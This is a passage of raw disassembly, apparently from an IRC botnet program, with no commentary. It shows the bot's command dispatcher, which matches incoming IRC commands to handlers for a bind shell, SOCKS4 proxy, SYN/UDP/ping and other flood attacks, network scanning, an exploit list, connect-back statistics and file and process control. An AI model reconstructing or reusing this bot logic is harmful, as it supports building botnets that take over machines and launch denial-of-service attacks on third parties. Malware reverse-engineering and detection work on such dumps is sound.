		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41C850
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_402340
; ---------------------------------------------------------------------------


loc_40233A:				; CODE XREF: sub_401ACD+833j
					; sub_401ACD+838j
		mov	esi, [ebp+var_AC]


loc_402340:				; CODE XREF: sub_401ACD+86Bj
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401F75
		push	edi
		push	offset dword_42CC74
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40238B
		mov	eax, dword_4CB888
		mov	eax, off_429160[eax*4]
		cmp	[eax], bl
		jz	short loc_40238B
		push	eax
		push	ecx
		push	offset dword_42CC58
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_40238B:				; CODE XREF: sub_401ACD+8A0j
					; sub_401ACD+8B0j
		push	edi
		push	offset dword_42CC50
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_402160
		push	eax
		push	ecx
		push	offset dword_42CC38
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4023CA:				; CODE XREF: sub_401ACD+7B9j
					; sub_401ACD+76B7j
		call	near ptr 2680C22h
		nop
		push	eax
		push	offset unk_42CBFC
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4023DB:				; CODE XREF: sub_401ACD+6DDj
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CBB8


loc_4023EE:				; CODE XREF: sub_401ACD+7C19j
					; sub_401ACD+7C80j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_402402:				; CODE XREF: sub_401ACD+6D1j
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402551
		cmp	[ebp+var_A4], ebx
		jz	loc_40252A
		push	1Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_402519
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AAC]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_2914],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB4],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2994]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_290C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2908],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CB90
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_2910],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB4]
		push	ebx
		push	eax
		push	offset dword_416000
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_2910]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_402508


loc_4024F2:				; CODE XREF: sub_401ACD+A39j
		cmp	[ebp+var_2904],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_4024F2
; ---------------------------------------------------------------------------


loc_402508:				; CODE XREF: sub_401ACD+A23j
		call	near ptr 2680C22h
		nop
		push	eax
		push	offset unk_42CB58
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_402519:				; CODE XREF: sub_401ACD+966j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CB28
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40252A:				; CODE XREF: sub_401ACD+956j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CAF4
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40253B:				; CODE XREF: sub_401ACD+6B6j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401F75


loc_402551:				; CODE XREF: sub_401ACD+94Aj
		mov	edi, [edi]
		push	edi
		push	offset aC	; "c"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		push	edi
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025A2
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644


loc_4025A2:				; CODE XREF: sub_401ACD+AB9j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409644
		xor	edi, edi
		cmp	dword_4294CC, ebx
		jle	loc_402757
		mov	[ebp+arg_20], offset dword_43DB90


loc_4025C0:				; CODE XREF: sub_401ACD+B12j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4025E6
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294CC
		jl	short loc_4025C0
		jmp	loc_402757
; ---------------------------------------------------------------------------


loc_4025E6:				; CODE XREF: sub_401ACD+B02j
		push	offset asc_42CDC4 ; " :"
		push	[ebp+arg_0]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43DBA8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40263B:				; CODE XREF: sub_401ACD+C1Fj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026A7
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026A7
		lea	eax, dword_43DB90[edi]
		push	eax
		call	sub_41B9C0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026E2
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026E2
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch
		jmp	short loc_4026E2
; ---------------------------------------------------------------------------


loc_4026A7:				; CODE XREF: sub_401ACD+B96j
					; sub_401ACD+B9Dj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026E2
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 18h


loc_4026E2:				; CODE XREF: sub_401ACD+BAFj
					; sub_401ACD+BC3j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40263B
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_4026FF:				; CODE XREF: sub_401ACD+C7Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD	; "$%d"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_402742
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_402742
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch


loc_402742:				; CODE XREF: sub_401ACD+C5Aj
					; sub_401ACD+C60j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_4026FF
		mov	[ebp+var_2C8], 1


loc_402757:				; CODE XREF: sub_401ACD+AE6j
					; sub_401ACD+B14j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_402770
		cmp	[ebp+var_2C8], ebx
		jz	loc_402961


loc_402770:				; CODE XREF: sub_401ACD+C95j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_41843B
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_1	; "$user"
		push	edi
		call	sub_41843B
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_41843B
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_41843B
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_41843B
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h


loc_4027E2:				; CODE XREF: sub_401ACD+E0Dj
		test	eax, eax
		jz	loc_4028DF
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CAAC ; ")"
		push	eax
		call	sub_41CAD4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40282E
		cmp	[ebp+var_A0], 39h
		jle	short loc_402844


loc_40282E:				; CODE XREF: sub_401ACD+D56j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_402844:				; CODE XREF: sub_401ACD+D5Fj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	short loc_40286A
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40287E
; ---------------------------------------------------------------------------


loc_40286A:				; CODE XREF: sub_401ACD+D86j
		call	sub_41C2C2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40287E:				; CODE XREF: sub_401ACD+D9Bj
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41B9C0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 30h
		jmp	loc_4027E2
; ---------------------------------------------------------------------------


loc_4028DF:				; CODE XREF: sub_401ACD+D17j
		mov	edi, 1FFh
		lea	eax, [ebp+var_428C]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	edi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_4EF8]
		push	offset asc_42CDC0 ; " "
		push	eax
		call	sub_41CAD4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40292F:				; CODE XREF: sub_401ACD+E77j
		push	offset asc_42CDC0 ; " "
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40292F
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401F75
		add	ecx, 3
		mov	[eax], ecx


loc_402961:				; CODE XREF: sub_401ACD+C9Dj
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aRn	; "rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aLo	; "lo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aVersion	; "version"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aVer	; "ver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aRulez	; "rulez"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aRz	; "rz"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSt	; "st"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBd	; "bd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B0E
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CA08
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B0E:				; CODE XREF: sub_401ACD+1027j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aS4	; "s4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B61
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9E0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B61:				; CODE XREF: sub_401ACD+107Aj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B8A
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9C4
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B8A:				; CODE XREF: sub_401ACD+10A3j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB3
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9A8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BB3:				; CODE XREF: sub_401ACD+10CCj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BDC
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C994
		push	offset dword_42C988
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BDC:				; CODE XREF: sub_401ACD+10F5j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C05
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C968
		push	offset dword_42C958
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C05:				; CODE XREF: sub_401ACD+111Ej
		push	edi
		push	offset dword_42C94C
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C2E
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C940
		push	offset dword_42C934
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C2E:				; CODE XREF: sub_401ACD+1147j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C57
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C920
		push	offset dword_42C914
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C57:				; CODE XREF: sub_401ACD+1170j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C80
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C8F8
		push	offset dword_42C8E8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C80:				; CODE XREF: sub_401ACD+1199j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CA9
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C8CC
		push	offset dword_42C8BC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CA9:				; CODE XREF: sub_401ACD+11C2j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD2
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C8A4
		push	offset dword_42C898
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CD2:				; CODE XREF: sub_401ACD+11EBj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E28
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C940
		push	offset dword_42C934
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	0Eh
		push	offset dword_42C920
		push	offset dword_42C914
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C880
		push	offset dword_42C874
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	16h
		push	offset dword_42C868
		push	offset dword_42C85C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C8CC
		push	offset dword_42C8BC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	12h
		push	offset dword_42C8A4
		push	offset dword_42C898
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C84C
		push	offset dword_42C83C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	13h
		push	offset dword_42C82C
		push	offset dword_42C81C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C8F8
		push	offset dword_42C8E8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C7E8
		push	[ebp+var_88]
		push	edi
		call	sub_409869
		add	esp, 34h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_402E28:				; CODE XREF: sub_401ACD+1214j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E51
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C84C
		push	offset dword_42C83C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E51:				; CODE XREF: sub_401ACD+136Aj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E7A
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C82C
		push	offset dword_42C81C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E7A:				; CODE XREF: sub_401ACD+1393j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA3
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C880
		push	offset dword_42C874
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EA3:				; CODE XREF: sub_401ACD+13BCj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ECC
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C868
		push	offset dword_42C85C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402ECC:				; CODE XREF: sub_401ACD+13E5j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EF5
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C7A0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EF5:				; CODE XREF: sub_401ACD+140Ej
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F72
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C750
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F72:				; CODE XREF: sub_401ACD+148Bj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F9B
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C72C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F9B:				; CODE XREF: sub_401ACD+14B4j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FC4
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C70C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402FC4:				; CODE XREF: sub_401ACD+14DDj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aStats	; "stats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aDc	; "dc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aQ	; "q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aStatus	; "status"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aS_0	; "s"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aId	; "id"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aI	; "i"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aR3start	; "r3start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403190
		call	sub_418884
		test	eax, eax
		mov	eax, offset unk_42C64C
		jnz	short loc_403162
		mov	eax, offset unk_42C628


loc_403162:				; CODE XREF: sub_401ACD+168Ej
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 1Ch
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_403190:				; CODE XREF: sub_401ACD+1680j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aT	; "t"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aAl	; "al"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aLog	; "log"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aLg	; "lg"
		call	sub_41CA50
		pop	ecx
